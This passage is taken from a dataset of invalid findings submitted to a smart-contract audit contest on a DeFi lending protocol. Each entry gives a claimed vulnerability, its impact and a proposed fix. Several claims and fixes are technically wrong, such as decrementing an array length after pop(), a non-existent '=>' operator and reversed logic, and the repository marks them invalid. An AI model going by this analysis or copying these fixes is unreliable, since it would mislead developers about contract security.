same even though an element was removed.\nThis means `completeRepayment = loans.length == 0 ` may not accurately reflect if all loans were removed or not.\nFor example:\n\n loans = [A, B, C] // loans.length = 3\n\n Replace loan A with loan C\n loans = [C, B, C]\n\n Pop last element \n loans = [C, B] \n\n loans.length still equals 3 even though A was removed\n\nSo a malicious caller could remove loans but make it appear that loans still exist by manipulating the length in this way.\n\n## Impact\nThis could allow attackers to steal funds, avoid repaying debts, or wrongly claim liquidation bonuses. The contract's accounting could become corrupted. In essence, it jeopardizes the integrity of the borrowing and repayment process. It could lead to loss of funds or improper accounting by the contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L735\n## Tool used\n\nManual Review\n\n## Recommendation\nloans.length should be decremented whenever an element is removed:\n\n function _calculateEmergencyLoanClosure(...) {\n\n ...\n\n if (owner matches) {\n loans[i] = loans[loans.length - 1];\n loans.pop();\n \n // Decrement loans.length\n loans.length--;\n \n }\n\n ...\n\n }\n\nAdditionally, keeping a separate counter variable that tracks the number of loans removed would be more robust than relying on loans.length alone.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/039.md"}} +{"title":"Vulnerability where minPayment could be 0 if the collateral balance is positive, allowing takeover without proper collateral.","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# Vulnerability where minPayment could be 0 if the collateral balance is positive, allowing takeover without proper collateral.\n## Summary\nThe calculation of minPayment depends on the collateral balance being negative. If positive, minPayment could be 0 which would allow takeover without proper collateral. \n## Vulnerability Detail\nThere is a potential vulnerability in the takeOverDebt function where minPayment could be 0 if the collateral balance is positive, allowing takeover without proper collateral.\n\nIf the collateral balance is positive, minPayment could potentially be 0 which would allow a takeover of the debt without providing proper collateral.\nThe key parts of the code related to this are:\n1. Calculating the collateral balance:\n\n (int256 collateralBalance, uint256 currentFees) = _calculateCollateralBalance(\n oldBorrowing.borrowedAmount, \n oldBorrowing.accLoanRatePerSeconds,\n oldBorrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n2. Calculating minPayment based on the collateral balance:\n\n minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n\n3. Validating the provided collateralAmt against minPayment:\n\n (collateralAmt <= minPayment).revertError(\n ErrLib.ErrorCode.COLLATERAL_AMOUNT_IS_NOT_ENOUGH\n );\n\nThe vulnerability arises because if collateralBalance is positive, minPayment will be calculated as 0 + 1 = 1.\nThis means the collateral validation would pass as long as collateralAmt >= 1, allowing the takeover without proper collateral.\n\nThis means if the old borrower has a positive collateral balance, the new borrower can take over the debt by only providing 1 wei of collateral, which is insecure.\n\nAttackers could take over loans that are well collateralized by providing minimal collateral. This could drain collateral from the protocol when the attackers default on the loans.\n\n\n\n## Impact\n 1. It would allow someone to take over a debt without providing proper collateral, leaving the protocol undercollateralized.\n\n2. Undercollateralization of the lending protocol over time as debts are taken over without proper collateral being provided. This could lead to insolvency of the protocol if debts are not able to be repaid.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L422 \nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L423-L424\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L410-L414\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe minPayment calculation should be changed to:\n\n minPayment = collateralBalance < 0 ? \n (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1 :\n 1;\nThis will ensure minPayment is at least 1 even if collateralBalance is positive. The takeover collateral validation will then properly enforce a minimum amount of collateral for the debt takeover.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/036.md"}} +{"title":"No slippage protection on _decreaseLiquidity call","severity":"info","body":"Shambolic Smoke Raccoon\n\nmedium\n\n# No slippage protection on _decreaseLiquidity call\n## Summary\nInside `liquidityManager` we call NonfungiblePositionManager v3 to decrease the liquidity of a position, but the problem is that we don't provide valid params for `amount0Min` `amount1Min`, which it the protection against slippages.\n## Vulnerability Detail\nThe only check is wether the returned values are greater than 0, which is not enough \n```solidity\n if (amount0 == 0 && amount1 == 0) {\n revert InvalidBorrowedLiquidity(tokenId);\n}\n```\nYou can see in the [docs](https://docs.uniswap.org/contracts/v3/guides/providing-liquidity/increase-liquidity) it is written that `In production, amount0Min and amount1Min should be adjusted to create slippage protections.`\n## Impact\nThis could result in potential lost of funds\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L356-L357\n## Tool used\nManual Review\n## Recommendation\nImplement recommended params for slippage protection with valid values and check the returned values.\n```solidity\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: validValue,\n amount1Min: validValue,\n deadline: block.timestamp\n })\n );\n // Check if both amount0 and amount1 are zero after decreasing liquidity\n // If true, revert with InvalidBorrowedLiquidity exception\n if (amount0 < amount0Min || amount1 < amount1Min) {\n revert InvalidBorrowedLiquidity(tokenId);\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/035.md"}} +{"title":"New borrowers can manipulate the accrued loan rate per second when taking over the debt","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# New borrowers can manipulate the accrued loan rate per second when taking over the debt\n## Summary\nThe takeOverDebt function allows the new borrower to provide the accrued loan rate instead of persisting the rate from the old borrowing\n• The accrued loan rate is passed in to _initOrUpdateBorrowing from the new borrower.\n• It is not inherited from the old borrowing's rate.\n• This allows the new borrower to provide a lower rate, reducing their interest fees.\n\n\n## Vulnerability Detail \nThe takeOverDebt function allows the new borrower to provide the accrued loan rate instead of persisting the rate from the old borrowing\n\nThe key points are:\n1. In takeOverDebt, the new borrower provides the accLoanRatePerSeconds\n2. This is passed to _initOrUpdateBorrowing and set as the rate for the new borrowing\n3. The old rate is not carried over or validated against the new rate\n4. This allows the new borrower to manipulate the accrued rate lower than the actual rate\n5. Reducing the accrued rate would make their collateral requirements lower\n\n**Here is the relevant code:**\n\n function takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt) external {\n\n // New borrower provides accLoanRatePerSeconds\n accLoanRatePerSeconds = holdTokenRateInfo.accLoanRatePerSeconds;\n\n // Rate passed to _initOrUpdateBorrowing\n _initOrUpdateBorrowing(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken,\n accLoanRatePerSeconds\n );\n\n }\n\n function _initOrUpdateBorrowing(\n // Sets provided rate without validation\n borrowing.accLoanRatePerSeconds = accLoanRatePerSeconds;\n \nThis could allow the new borrower to take over debt cheaply by manipulating the accrued rate. \n\nThis means the new borrower can provide any value they want for accLoanRatePerSeconds.\nThe accLoanRatePerSeconds represents the accumulated loan interest rate per second for the debt. It is used to calculate the fees owed when closing the position.\nBy letting the new borrower manipulate this value on takeover, they can incorrectly calculate the fees owed to underpay when closing the position.\n\n## Impact\n• It allows the new borrower to potentially commit fraud by underpaying the loan interest fees on closure.\n• The lender will lose money, since the new borrower repays less than they owe due to the lower manipulated accrued loan rate.\n• It compromises the integrity of the accrued loan rates in the system\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L408\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L435-L439\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L955\n## Tool used\n\nManual Review\n\n## Recommendation\nIt could be mitigated by persisting the rate from the previous borrowing:\n\n // Take over debt\n\n // Retrieve previous rate\n uint256 oldRate = oldBorrowing.accLoanRatePerSeconds;\n\n // Pass old rate to _initOrUpdateBorrowing\n _initOrUpdateBorrowing(\n oldBorrowing.saleToken, \n oldBorrowing.holdToken,\n oldRate\n );\n\n // _initOrUpdateBorrowing\n\n // Set rate from previous borrowing \n borrowing.accLoanRatePerSeconds = oldRate;\n\nThis would prevent the new borrower from manipulating the accrued loan rate.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/034.md"}} +{"title":"Malicious users can avoid liquidation penalties by setting the liquidation bonus to 0","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# Malicious users can avoid liquidation penalties by setting the liquidation bonus to 0\n## Summary\nThe liquidation bonus calculations make assumptions about default values if no bonus is set. An attacker could set the bonus to 0 to avoid penalties. \n## Vulnerability Detail\nAn attacker could manipulate the liquidation bonus calculation to avoid penalties by setting the bonus to 0. Here is an explanation:\n\nThe getLiquidationBonus function first retrieves the Liquidation struct for the given token:\n\n Liquidation memory liq = liquidationBonusForToken[token];\nIt then checks if the bonusBP field is 0:\n\n if (liq.bonusBP == 0) {\n // use default bonus \n }\nIf bonusBP is 0, it will use the default bonus defined in the Constants contract instead of applying a token-specific bonus.\nAn attacker could exploit this by:\n1.\tCalling setLiquidationBonus as the owner to set bonusBP to 0 for a token:\n\n setLiquidationBonus(token, 0, 0);\n\n3.\tBorrowing that token.\n4.\tDefaulting on the loan.\n\nWhen the loan is liquidated, getLiquidationBonus will be called and use the default bonus instead of applying a higher token-specific bonus. This allows the attacker to avoid the intended larger liquidation penalty\n\n## Impact\nAttackers could borrow assets without being penalized for defaulting. This makes lending riskier and less viable, and exposes lenders to potential exploitation.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683-L703\n## Tool used\n\nManual Review\n\n## Recommendation \ngetLiquidationBonus could be changed to enforce a minimum bonus percentage if the token-specific bonus is 0:\n\n function getLiquidationBonus(\n address token,\n uint256 borrowedAmount,\n uint256 times\n ) public view returns (uint256 liquidationBonus) {\n\n Liquidation memory liq = liquidationBonusForToken[token];\n\n if (liq.bonusBP == 0) {\n // Enforce minimum bonus\n liq.bonusBP = MINIMUM_BONUS_BP; \n }\n\n // Rest of function\n }\n\nThis would prevent attackers from avoiding liquidation penalties by setting the bonus to 0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/033.md"}} +{"title":"Incorrect collateral amount due to changes between when currentDailyRate is retrieved and when the final collateralAmt is calculated","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# Incorrect collateral amount due to changes between when currentDailyRate is retrieved and when the final collateralAmt is calculated\n## Summary\nThe currentDailyRate can change right after it is retrieved, but before the final collateralAmt is calculated. This can lead to an incorrect collateral amount\n## Vulnerability Detail\nThe currentDailyRate can change between when it is retrieved and when the final collateralAmt is calculated, leading to an incorrect collateral amount. Here is a more detailed explanation:\nIn the calculateCollateralAmtForLifetime function, it first retrieves the currentDailyRate for the holdToken:\n\n (uint256 currentDailyRate, ) = _getHoldTokenRateInfo(\n borrowing.saleToken, \n borrowing.holdToken\n );\nLater in the function, it uses this currentDailyRate value to calculate the collateralAmt:\n\n uint256 everySecond = (\n FullMath.mulDivRoundingUp(\n borrowing.borrowedAmount,\n currentDailyRate * Constants.COLLATERAL_BALANCE_PRECISION, \n 1 days * Constants.BP\n )\n );\n\n collateralAmt = FullMath.mulDivRoundingUp(\n everySecond,\n lifetimeInSeconds,\n Constants.COLLATERAL_BALANCE_PRECISION\n );\n\nThe issue is that between retrieving currentDailyRate and using it to calculate collateralAmt, the currentDailyRate could be updated via the updateHoldTokenDailyRate function:\n\n function updateHoldTokenDailyRate(\n address saleToken,\n address holdToken,\n uint256 value\n ) external {\n // update currentDailyRate\n }\n\nSo the collateralAmt calculation would be using an outdated rate.\n## Impact\nThe unpredictable collateral requirements from the race condition introduce instability, capital inefficiency, unexpected liquidations, and can erode user trust in the platform over time\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L343-L346\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L348-L360\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L211\n## Tool used\n\nManual Review\n\n## Recommendation \nEnsure the currentDailyRate value used in the calculation is the latest value. This can be done by moving the collateralAmt calculation right after retrieving the currentDailyRate. A suggestive example below:\n\n\n (uint256 currentDailyRate, ) = _getHoldTokenRateInfo(\n borrowing.saleToken, \n borrowing.holdToken\n );\n \n // calculate collateralAmt using currentDailyRate \n uint256 everySecond = (\n FullMath.mulDivRoundingUp(\n borrowing.borrowedAmount,\n currentDailyRate * Constants.COLLATERAL_BALANCE_PRECISION, \n 1 days * Constants.BP\n )\n );\n\n uint256 collateralAmt = FullMath.mulDivRoundingUp(\n everySecond,\n lifetimeInSeconds,\n Constants.COLLATERAL_BALANCE_PRECISION\n );\n\nThis ensures the collateralAmt is calculated atomically using the latest currentDailyRate value.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/032.md"}} +{"title":"Borrowers can abuse the ability to repay loans while still owing fees.","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# Borrowers can abuse the ability to repay loans while still owing fees.\n## Summary\nThe repay function in LiquidityBorrowingManager contract allows the borrower to repay their loan even if the collateralBalance is negative.\n## Vulnerability Detail\nBorrowers are allowed to repay loans even when the collateralBalance is negative.\nHere is how it works:\nIn the repay() function, there is a check that allows the borrower to proceed if either:\n1. msg.sender == borrowing.borrower OR\n2. collateralBalance >= 0\n\nThis means that even if the collateralBalance is negative, the borrower can still call repay() and proceed, since the first condition is satisfied (msg.sender will be the borrower).\nThe impact of this is that borrowers could potentially walk away without fully repaying the lender if the collateralBalance is negative. When collateralBalance is negative, it means the borrower owes more in fees/interest than what they originally deposited as collateral. By allowing them to repay even in this scenario, they can get away without paying those additional fees they owe.\nThe relevant code is here:\n\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n\n## Impact\n• Borrowers can walk away from their debt by repaying only a portion of what they owe. This leaves the lender at a loss.\n• It incentivizes borrowers to take risky leveraged positions without needing to repay the full debt if the trade goes against them.\n\nIn essence - Borrowers can abuse the ability to repay loans while still owing fees.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L559-L561\n## Tool used\n\nManual Review\n\n## Recommendation \nThis check should be updated to:\n\n (msg.sender != borrowing.borrower || collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\nBy changing the AND to an OR, it will prevent borrowers from repaying unless they either are the original borrower OR have a non-negative collateral balance. This mitigates the potential vulnerability by ensuring borrowers cannot walk away without paying fees they owe if collateralBalance is negative. . This will prevent borrowers from abusing the ability to repay loans while still owing fees.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/031.md"}} +{"title":"Vulnerability where the current daily rate could be unintentionally defaulted to the Constants.DEFAULT_DAILY_RATE if it has not been properly set.","severity":"info","body":"Acidic Shamrock Whale\n\nmedium\n\n# Vulnerability where the current daily rate could be unintentionally defaulted to the Constants.DEFAULT_DAILY_RATE if it has not been properly set.\n## Summary\nThe _getHoldTokenRateInfo() function does assume that the currentDailyRate is already set, but defaults it to Constants.DEFAULT_DAILY_RATE if it is not set. This could potentially allow the rate to be unintentionally defaulted\n## Vulnerability Detail\nthe _getHoldTokenRateInfo() function does have a potential vulnerability where the current daily rate could be unintentionally defaulted to the Constants.DEFAULT_DAILY_RATE if it has not been properly set.\nHere is how it works:\nIn _getHoldTokenRateInfo(), the currentDailyRate is first read from the TokenInfo struct in storage:\n\n currentDailyRate = holdTokenRateInfo.currentDailyRate;\n\nThen this is checked:\n\n if (currentDailyRate == 0) {\n currentDailyRate = Constants.DEFAULT_DAILY_RATE; \n }\n\nIf the currentDailyRate has not been explicitly set, it will be 0. So in this case, it will get defaulted to Constants.DEFAULT_DAILY_RATE.\nThis could lead to unintended behavior, as any calling contracts or users expecting a specific rate to be set would instead get the default rate.\nFor example, if a lending contract calls this to calculate fees owed, it may end up charging less interest than intended if the rate gets defaulted.\n\n## Impact\nReduced expected revenue for lending activities due to lower interest rates. Incorrect interest fee calculations over time, leading to lost revenue for the protocol or unfair overcharging of users. The error compounds the more the contract is used.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L42\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L43-L45\n## Tool used\n\nManual Review\n\n## Recommendation\nYou should explicitly prevent defaulting in _getHoldTokenRateInfo():\n\n if (currentDailyRate == 0) {\n revert(\"Current daily rate not set\");\n }\n\nAnd require the calling contract to properly set the rate first via a separate write function or constructor before calling _getHoldTokenRateInfo(). This way there is no risk of accidentally relying on the default rate.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/030.md"}} +{"title":"The fees are always rounded up in _calculateCollateralBalance(), which benefits the protocol over the user","severity":"info","body":"Acidic Shamrock Whale\n\nmedium\n\n# The fees are always rounded up in _calculateCollateralBalance(), which benefits the protocol over the user\n## Summary\nRounding fees up benefits the protocol at the cost of users paying slightly higher fees. \n## Vulnerability Detail\nThe code in _calculateCollateralBalance() does round up fees in a way that benefits the protocol over the user.\nThe key lines are:\n\n currentFees = FullMath.mulDivRoundingUp(\n borrowedAmount, \n accLoanRatePerSeconds - borrowingAccLoanRatePerShare,\n Constants.BP\n );\nThis uses FullMath.mulDivRoundingUp() to calculate the fees. As the name suggests, this rounds the result up to the nearest integer.\nNormally in division, remainders are rounded down. But here, rounding up ensures any remainder is added to the fees. This increases the fees collected by the protocol.\nFor example, if the actual fee calculation resulted in a value like 100.000001, rounding down would give fees of 100. But rounding up makes it 101.\nOver many transactions, these small roundings add up to significant extra fees for the protocol. The user pays more fees than they should based on the exact calculation. \n\n## Impact\nUsers pay slightly higher fees, reducing their collateral balance.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L110-L114\n## Tool used\n\nManual Review\n\n## Recommendation \nThis could be mitigated by using standard rounding instead of always rounding up:\n\n currentFees = FullMath.mulDiv(\n borrowedAmount, \n accLoanRatePerSeconds - borrowingAccLoanRatePerShare,\n Constants.BP\n );\n\nNow remainders are rounded to the nearest integer, rather than always up. This removes the bias and calculates fees fairly.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/029.md"}} +{"title":"Modifier lacks appropriate symbole","severity":"info","body":"Mammoth Berry Ostrich\n\nmedium\n\n# Modifier lacks appropriate symbole\n## Summary\nIn LiquidityBorrowingManager.sol the modifier in this case is suppose to check if the current block timestamp is before or equal to the deadline according to the documentation. But the modifier only checks if the blocktimestamp is before and not equal to the deadline.\n## Vulnerability Detail\nEvery function that uses checkDeadline() modifier will only check if deadline is before not on the specific deadline date.\n## Impact\nBorrowers at borrow() line465 can only borrow tokens before the deadline and not on the deadline date same goes for repaying the loans at repay() line532. This can cause a huge inconvenience for the users.\n## Code Snippet\n modifier checkDeadline(uint256 deadline) {\n (_blockTimestamp() > deadline).revertError(ErrLib.ErrorCode.TOO_OLD_TRANSACTION);\n _;\n }\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L136C1-L139C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a equal symbol to the modifier like so,\n\n modifier checkDeadline(uint256 deadline) {\n (_blockTimestamp() => deadline).revertError(ErrLib.ErrorCode.TOO_OLD_TRANSACTION);\n _;\n }","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/026.md"}} +{"title":"Users do not pay the plataformFees","severity":"info","body":"Stale Raisin Whale\n\nmedium\n\n# Users do not pay the plataformFees\n## Summary\n**`_pickUpPlatformFees()`** is designed to calculate protocol fees that users are required to pay. However and error in the formula to calculate it provocates that never will be paid.\n## Vulnerability Detail\n**`_pickUpPlatformFees()`** calulcates the fees protocol **`platformFees = (fees * platformFeesBP) / Constants.BP`**. \n\nNext calulates **`currentFees = fees - platformFees`**.\n\nHowever, a critical issue arises when calculating **currentFees** as it incorrectly subtracts the **platformFees** from the total user fees. This error results in the user being charged fewer fees than required, rather than more.\n```Solidity\nfunction _pickUpPlatformFees(\n address holdToken,\n uint256 fees\n ) private returns (uint256 currentFees) {\n uint256 platformFees = (fees * platformFeesBP) / Constants.BP;\n platformsFeesInfo[holdToken] += platformFees;\n currentFees = fees - platformFees; \n }\n```\n## Impact\nUsers pays less fees and never pays the plataform fees.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L967-L974\n## Tool used\nManual Review\n## Recommendation\nChange the formula for the following:\n**`currentFees = fees + platformFees`**","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/024.md"}} +{"title":"The internal _upRestoreLiquidityCache function is a view function and does not return the supposed struct variable \"cache.\"","severity":"info","body":"Boxy Tangerine Quail\n\nhigh\n\n# The internal _upRestoreLiquidityCache function is a view function and does not return the supposed struct variable \"cache.\"\n## Summary\nThe internal `_upRestoreLiquidityCache` function does not return anything, and it is a view function. To ensure that the function `_restoreLiquidity` works as intended, the internal `_upRestoreLiquidityCache` function must return the `RestoreLiquidityCache memory cache` variable. This is necessary for the parent function to function correctly. Currently, these values default to Solidity's default type values, which is definitely not the intended behavior for this function.\n## Vulnerability Detail\nInside the `_upRestoreLiquidityCache` function, there is an internal function call as follows:\n[Link to Code](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L233)\n\nWithin this function, several variables are assigned values to populate the struct \"cache,\" as demonstrated here:\n[Link to Code](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L475-L513)\n\nHowever, since the \"cache\" struct is never returned to the parent function, all the variables that begin with \"cache.variableName\" default to Solidity's default type values.\n[Link to Code](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L235-L320)\n\nAs these values are not correctly returned, the function does not operate as intended. Consequently, all calculations within the parent function are inaccurate.\n## Impact\nThis is definitely a major bug and needs to be corrected!\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L475-L513\n## Tool used\n\nManual Review\n\n## Recommendation\nInside the `_upRestoreLiquidityCache` return the \"cache\" variable","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/021.md"}} +{"title":"The emergency loan closure logic can lead to inconsistent state and abuse compared to normal repayment.","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# The emergency loan closure logic can lead to inconsistent state and abuse compared to normal repayment.\n## Summary\n• Emergency loan closure can lead to inconsistent state compared to normal repayment\n• Only removing the lender's loans causes this\n• Should fully close out position if all loans removed\n• Properly closing out state avoids inconsistencies\n\n## Vulnerability Detail\nThe key functions are _calculateEmergencyLoanClosure and repay:\n\n function _calculateEmergencyLoanClosure(\n // args\n ) private returns (\n uint256 removedAmt, \n uint256 feesAmt,\n bool completeRepayment\n ) {\n\n // Loop through loans\n for(uint i = 0; i < loans.length; i++) {\n \n // Only remove loans owned by msg.sender\n \n // Update removedAmt and feesAmt\n \n }\n\n // Return removedAmt, feesAmt, and completeRepayment\n }\n\n function repay(\n // args\n ) external {\n\n // Call _calculateEmergencyLoanClosure\n\n // If completeRepayment is true\n // Fully close out position (clear state)\n else \n // Partially close out position\n\n // Transfer funds\n \n }\n\nThe issue is that _calculateEmergencyLoanClosure only partially closes out loans, but repay doesn't fully reset state if completeRepayment is true.\n\nThe emergency loan closure logic can lead to inconsistent state and abuse compared to normal repayment. Let's dive deep into how this works:\nThe key functions are _calculateEmergencyLoanClosure and repay.\nIn _calculateEmergencyLoanClosure, the contract loops through the loans for a borrowing position and removes any loans owned by the msg.sender (the lender). It calculates the removedAmt and feesAmt based on only the removed loans.\nIf all loans are removed, it sets completeRepayment = true.\nThe issues arise in repay function:\n• If completeRepayment = true, it does NOT fully close out the position like in normal repayment. It only:\n• Reduces borrowedAmount and feesOwed based on removedAmt\n• Reduces totalBorrowed based on removedAmt\n• Transfers removedAmt + feesAmt to lender\n• So the position can still exist with borrowedAmount and feesOwed inconsistent with remaining loans\n• And if completeRepayment = true, it indicates all loans removed but the position still exists\nThis can allow the borrower to continue using the position improperly.\nFor example:\n• Borrower opens position with 2 loans, Loan A and Loan B\n• Loan A owner (Lender A) uses emergency repayment\n• This removes Loan A, and sets completeRepayment = true\n• But position still exists with Loan B\n• Borrower adds back more loans, increasing debt improperly\n\n## Impact\nPotential for borrower abuse: If loans and collateral balances are not fully reset, a malicious borrower could try to reuse a partially closed position to take out more loans. The incomplete reset enables this potential abuse.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L716\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\n## Tool used\n\nManual Review\n\n## Recommendation\n This can be mitigated by doing a full cleanup of the position's storage if completeRepayment is true.:\n\n function repay(\n // args\n ) external {\n\n // Call _calculateEmergencyLoanClosure\n\n if (completeRepayment) {\n // Full cleanup\n delete loansInfo[borrowingKey] \n delete borrowingsInfo[borrowingKey]\n // Etc\n\n } else {\n // Partial cleanup\n }\n\n // Transfer funds\n\n }\n\nThis ensures the position storage is fully reset when all loans are removed.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/020.md"}} +{"title":"LiquidityBorrowingManager#_addKeysAndLoansInfo() - user can have more than the allowed positions","severity":"info","body":"Quiet Sage Wren\n\nmedium\n\n# LiquidityBorrowingManager#_addKeysAndLoansInfo() - user can have more than the allowed positions\n## Summary\nThe ``_addKeysAndLoansInfo`` is used to add loans and in case of new positions, push them to an array of positions owner by a specific user. There is a constant ``Constants.MAX_NUM_USER_POSOTION`` that limits the max positions to 10, but the check for it is incorrect, thus leading to an off-by-one error.\n\n## Vulnerability Detail\nUpon calling the ``_addKeysAndLoansInfo`` function, requesting to add loans to a newly open positions, when adding the loans they are first pushed into the loans array and then the array's length is checked against the constant for the invariant.\nHowever, when opening a new positions the reverse is done: first the invariant is checked that the positions array's length does not exceed the limit and then the new item is pushed. Thus if we are at the limit of 10 and try to open a new positions, instead of reverting we would create an 11th one since the pushing happens after the ``if`` check.\n\n## Impact\nBroken protocol constant, above intended positions per user.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L790-L826\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSwap the pushing operation and the ``if`` check's orders like so:\n```solidity\n bytes32[] storage allUserBorrowingKeys = userBorrowingKeys[msg.sender];\n allUserBorrowingKeys.push(borrowingKey);\n \n (allUserBorrowingKeys.length > Constants.MAX_NUM_USER_POSOTION).revertError(\n ErrLib.ErrorCode.TOO_MANY_USER_POSITIONS\n 